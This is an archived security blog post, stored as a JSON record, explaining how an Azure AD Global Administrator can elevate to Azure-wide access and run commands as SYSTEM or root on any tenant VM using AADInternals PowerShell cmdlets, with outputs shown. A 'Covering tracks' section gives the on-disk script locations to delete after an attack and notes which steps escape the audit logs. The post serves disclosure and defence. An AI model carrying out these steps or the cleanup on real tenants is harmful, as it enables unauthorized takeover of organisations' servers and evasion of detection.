{
	"id": "4df9022f-291c-4c8b-84af-f1468e7cc62d",
	"created_at": "2026-04-06T02:11:57.547081Z",
	"updated_at": "2026-04-10T03:20:03.319553Z",
	"deleted_at": null,
	"sha1_hash": "47b592dfcfa0de37e252e0f168a76c215440981e",
	"title": "Getting root access to Azure VMs as a Azure AD Global Administrator",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 137150,
	"plain_text": "Getting root access to Azure VMs as a Azure AD Global\r\nAdministrator\r\nBy About Dr Nestori Syynimaa (@DrAzureAD)\r\nPublished: 2020-06-04 · Archived: 2026-04-06 01:53:38 UTC\r\nBackground\r\nGetting access to Azure\r\nGetting access to VMs\r\nCovering tracks\r\nTarget VMs\r\nAzure AD and Azure logs\r\nSummary\r\nCredits\r\nSean Metcalf (@Pyrotek3) organised a great webcast at the end of the May 2020. Among other things, Sean\r\nintroduced a new (to me, at least) attack-vector where an Azure AD administrator can easily get a system level\r\naccess to any Azure virtual machine of the organisation. Naturally, I had to implement this functionality to\r\nAADInternals.\r\nIn this blog, using AADInternals v0.3.3, I’ll show how a Global Administator can gain access to any Azure VM\r\nof the organisation.\r\nBackground\r\nThe Microsoft offical Azure AD documentation about Global Administators states the following:\r\nhttps://aadinternals.com/post/azurevms/\r\nPage 1 of 7\n\nUsers with this role have access to all administrative features in Azure Active Directory, as well as\r\nservices that use Azure Active Directory identities like Microsoft 365 security center, Microsoft 365\r\ncompliance center, Exchange Online, SharePoint Online, and Skype for Business Online. The person\r\nwho signs up for the Azure AD organization becomes a global administrator. There can be more than\r\none global administrator at your company. Global admins can reset the password for any user and all\r\nother administrators.\r\nI suppose this is well known by the most of the people working with Office/Microsoft 365. Moreover, there is also\r\nan Azure documentation stating the following:\r\nAs a Global Administrator in Azure Active Directory (Azure AD), you might not have access to all\r\nsubscriptions and management groups in your directory.\r\nSounds great! Global Admins shouldn’t have access to Azure resources, such as VMs, as they are supposed to\r\nadminister just one of the Azure workloads: Azure AD. But wait, there is more in the same documentation:\r\nHowever, if you are a Global Administrator in Azure AD, you can assign yourself access to all Azure\r\nsubscriptions and management groups in your directory. Use this capability if you don’t have\r\naccess to Azure subscription resources, such as virtual machines or storage accounts, and you want to\r\nuse your Global Administrator privilege to gain access to those resources.\r\nSo.. If you are a Global Administrator and you want to gain access to Azure resources, you can do so? Doesn’t\r\nsound that great anymore!\r\nThe Azure documentation I mentioned above states that:\r\nWhen you elevate your access, you will be assigned the User Access Administrator role in Azure at root\r\nscope (/). This allows you to view all resources and assign access in any subscription or\r\nmanagement group in the directory.\r\nIn practice, this means that as a Global Administrator of Azure AD, you can elevate yourself to User Access\r\nAdministrator of all Azure subscriptions of your tenant (or directory, to be more specific). User Access\r\nAdministrator role allows you to manage access to Azure resources so you’ll have the Keys to the Kingdom!\r\nFor start, you need a Global Admin account you’d like to elevate. First step is to get an Access Token:\r\n# Prompt for credentials and save them to a variable (skip this if using MFA)\r\n$cred=Get-Credential\r\n# Get an access token and save it to a variable (omit the credentials if using MFA)\r\n$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred\r\nNext step is to elevate the user to User Access Administrator:\r\nhttps://aadinternals.com/post/azurevms/\r\nPage 2 of 7\n\n# Grant Azure User Access Administrator role\r\nGrant-AADIntAzureUserAccessAdminRole -AccessToken $at\r\nAnd that’s it!\r\nNow you have access to all Azure subscriptions and you can easily get a list of them. However, you need to get a\r\nnew Access Token for the changes to take effect:\r\n# Update the access token and save it to a variable (omit credentials if using MFA)\r\n$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred\r\n# Get all subscriptions of the current tenant\r\nGet-AADIntAzureSubscriptions -AccessToken $at\r\nOutput:\r\nsubscriptionId displayName state\r\n-------------- ----------- -----\r\n867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 MyAzure001 Enabled\r\n99fccfb9-ed41-4179-aaf5-93cae2151a77 Pay-as-you-go Enabled\r\nGetting access to VMs\r\nAs you now have User Access Management rights to all Azure subscriptions, you can give yourself various rights\r\nto Azure resources. In this blog, we are focusing only to Virtual Machines (VMs).\r\nAs Sean pointed out in his webcast, one of the most interesting rights (or roles) is Virtual Machine Contributor.\r\nAccording to Microsoft documentation the Virtual Machine Contributor role:\r\nLets you manage virtual machines, but not access to them, and not the virtual network or storage\r\naccount they’re connected to.\r\nSo, what’s the point of getting Virtual Machine Contributor, if you can’t access them? Well, although not so well\r\ndocumented, the role allows you to run commands on the VM as a system or root!\r\nTechnically, the scripts are executed by the Azure VM agent installed on all Azure VMs.\r\nNote! Unlike the global User Access Administrator role, the Virtual Machine Contributor is set per Azure\r\nsubscription!\r\nLet’s start by giving an access to VMs of one of the subscriptions:\r\nhttps://aadinternals.com/post/azurevms/\r\nPage 3 of 7\n\n# Grant Virtual Machine Contributor role to the current user\r\nSet-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -RoleName \"V\r\nOutput:\r\nroleDefinitionId : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0/providers/Microsoft.Authorization/roleDe\r\nprincipalId : 90f9ca62-2238-455b-bb15-de695d689c12\r\nprincipalType : User\r\nscope : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0\r\ncreatedOn : 2020-06-03T11:29:58.1683714Z\r\nupdatedOn : 2020-06-03T11:29:58.1683714Z\r\ncreatedBy :\r\nupdatedBy : 90f9ca62-2238-455b-bb15-de695d689c12\r\nNow we can list the VMs to see if there is anything we are interested at. Again, you need to get a new Access\r\nToken as the permissions were changed:\r\n# Update the access token and save it to a variable (omit credentials if using MFA)\r\n$at=Get-AADIntAccessTokenForAzureCoreManagement -Credentials $cred\r\n# List the VMs\r\nGet-AADIntAzureVMs -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0\r\nOutput:\r\nresourceGroup name location id computerName adminUserName vmSize\r\n------------- ---- -------- -- ------------ ------------- ------\r\nPRODUCTION Client westus c210d38b-3346-41d3-a23d-27988315825b Client AdminUSer Standard_A2_v2\r\nPRODUCTION DC westus 9b8f8753-196f-4f24-847a-e5bcb751936d DC AdminUSer Standard_DS1_v\r\nPRODUCTION Exchange westus a12ffb24-a69e-4ce9-aff3-275f49bba315 Exchange AdminUSer Standard_DS2_v\r\nPRODUCTION Server1 westus c7d98db7-ccb5-491f-aaeb-e71f0df478b6 Server1 AdminUSer Standard_DS1_v\r\nTEST Server2 eastus ae34dfcc-ad89-4e53-b0b4-20d453bdfcef Server2 AdminUSer Standard_DS1_v\r\nTEST Server3 eastus f8f6a7c5-9927-47f9-a790-84c866f5719c Server3 AzureUser Standard_B1ms\r\nAfter giving yourself the Virtual Machine Contributor role, you can now run any script on any of the listed VMs\r\n(if they are running).\r\nNote! In Windows VMs the scripts are PowerShell scripts and in Linux VMs bash scripts.\r\nLet’s start by running “whoami” on Server2\r\nhttps://aadinternals.com/post/azurevms/\r\nPage 4 of 7\n\n# Invoke \"whoami\" on Server2\r\nInvoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup\r\nOutput:\r\n[stdout]\r\nnt authority\\system\r\n[stderr]\r\nAs the output shows, you are actually running the script as SYSTEM!\r\nNext, let’s run the same script against Server3:\r\n# Get the Access Token\r\n$at=Get-AADIntAccessTokenForAzureCoreManagement\r\n# Invoke \"whoami\" on Server3\r\nInvoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup\r\nOutput:\r\nEnable succeeded:\r\n[stdout]\r\nroot\r\n[stderr]\r\nSame here, you are running the script as root!\r\nYou can also run multi-line scripts, just use `n as a line separator:\r\n# Invoke multi-line script on Server2\r\nInvoke-AADIntAzureVMScript -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup\r\nOutput:\r\n[stdout]\r\nnt authority\\system\r\nhttps://aadinternals.com/post/azurevms/\r\nPage 5 of 7\n\n[stderr]\r\nGet-Process : Cannot find a process with the name \"123123123\". Verify the process name and call the cmdlet again\r\nAt C:\\Packages\\Plugins\\Microsoft.CPlat.Core.RunCommandWindows\\1.1.5\\Downloads\\script42.ps1:2 char:1\r\n+ Get-Process 123123123\r\n+ ~~~~~~~~~~~~~~~~~~~~~\r\n + CategoryInfo : ObjectNotFound: (123123123:String) [Get-Process], ProcessCommandException\r\n + FullyQualifiedErrorId : NoProcessFoundForGivenName,Microsoft.PowerShell.Commands.GetProcessCommand\r\nCovering tracks\r\nTarget VMs\r\nThe scripts and their results are stored to target VMs. So, don’t forget to clean your tracks 🤐\r\nIn Windows, the scripts and their statuses are stored at the following locations. The scripts are plain-text\r\nPowerShell script files and status files are plain-text JSON files. The \u003cversion\u003e refers to the version number of\r\nthe Azure VM agent, and the \u003cnumber\u003e to an automatically increased zero-based index.\r\nC:\\Packages\\Plugins\\Microsoft.CPlat.Core.RunCommandWindows\\\u003cversion\u003e\\Downloads\\script\u003cnumber\u003e.ps1\r\nC:\\Packages\\Plugins\\Microsoft.CPlat.Core.RunCommandWindows\\\u003cversion\u003e\\Status\\\u003cnumber\u003e.status\r\nIn Linux, the file structure is a bit different and the locations are the following. All the files are plain-text files.\r\nAlso here, the \u003cnumber\u003e is an automatically increased zero-based index.\r\n/var/lib/waagent/run-command/download/\u003cnumber\u003e/script.sh\r\n/var/lib/waagent/run-command/download/\u003cnumber\u003e/stderr\r\n/var/lib/waagent/run-command/download/\u003cnumber\u003e/stdout\r\nAll of the activies performed here are logged to corresponding Azure audit and/or activity logs. Not even Global\r\nAdministrators are able to clear the logs, so there are always some indications of any rogue activity.\r\nHowever, AFAIK, elevating yourself to User Access Management is not clearly visible in Azure or Azure AD\r\naudit logs. Granting Virtual Machine Contributor rights can be found at Activity log of the Azure subcsription.\r\nAlso, running the scripts is logged to activity log, although the contents of the scripts are not logged.\r\nSummary\r\nAs demonstrated, any Global Administrator of the Azure AD of Office/Microsoft 365 subscription can easily\r\ngain access to all Azure resources of all Azure subscriptions using the same Azure AD. For most, this is not a very\r\nintuitive and should therefore be clearly explained by Microsoft in their customer-facing communication and all\r\ndocumentation.\r\nhttps://aadinternals.com/post/azurevms/\r\nPage 6 of 7\n\nThis is just another reason for limiting the number Global Admins! According to Microsoft, there should be no\r\nmore than four dedicated Global Administrators. And don’t forget the MFA!\r\nCredits\r\nSean Metcalf (@Pyrotek3): Webcast: Securing Office 365 and Azure AD Defend Your Tenant\r\nSource: https://aadinternals.com/post/azurevms/\r\nhttps://aadinternals.com/post/azurevms/\r\nPage 7 of 7",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://aadinternals.com/post/azurevms/"
	],
	"report_names": [
		"azurevms"
	],
	"threat_actors": [],
	"ts_created_at": 1775441517,
	"ts_updated_at": 1775791203,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/47b592dfcfa0de37e252e0f168a76c215440981e.pdf",
		"text": "https://archive.orkl.eu/47b592dfcfa0de37e252e0f168a76c215440981e.txt",
		"img": "https://archive.orkl.eu/47b592dfcfa0de37e252e0f168a76c215440981e.jpg"
	}
}